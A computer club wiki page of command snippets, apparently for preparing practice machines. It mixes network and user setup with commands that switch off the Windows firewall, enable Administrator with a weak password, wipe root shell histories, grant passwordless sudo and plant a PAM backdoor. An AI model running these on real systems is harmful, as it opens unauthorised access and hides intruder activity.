DSU Computer Clubs Wiki

Windows reset firewalls:

netsh advfirewall reset
netsh advfirewall set allprofiles state off

Windows reset admin:

net user Administrator /active:yes
net user Administrator Password1!

Windows → ENABLE SMB!

Linux clear history: (we are purposely not removing apt logs and such)

rm -f /root/.viminfo
rm -f /root/.bash_history
rm -f /root/.zsh_history

Linux add users:

for user in $(cat users.txt); do useradd -m -s /bin/bash $user; echo "$user:Password1!" | chpasswd; done

Linux set static IP for before Ubuntu 22:

/etc/network/interfaces
auto eth0
iface eth0 inet static
address 192.168.0.11
netmask 255.255.255.0
network 192.168.0.1
broadcast 192.168.0.255
gateway 192.168.0.1

Linux set static IP for Ubuntu 22 and later:

/etc/netplan/00-ethernet.yaml

network:
  version: 2
  renderer: networkd
  ethernets:
    <interface name>:
      dhcp4: false
      dhcp6: false
     addresses:
      - 192.168.0.10/24
     routes:
      - to: default
        via: 192.168.0.1
     nameservers:
       addresses: [192.168.0.1]

Apply changes:
sudo netplan apply

Linux find and replace recursively

find . -name '*.txt*' -exec sed -i 's/user1/user2/g' {} +

Sudoer NOPASSWD

%sudo   ALL=(ALL:ALL) NOPASSWD:ALL

Classic PAM backdoor

# Ubuntu 20.04
cd /usr/lib/x86_64-linux-gnu/security/; mv pam_deny.so pam_deny_original.so; cp pam_permit.so pam_deny.so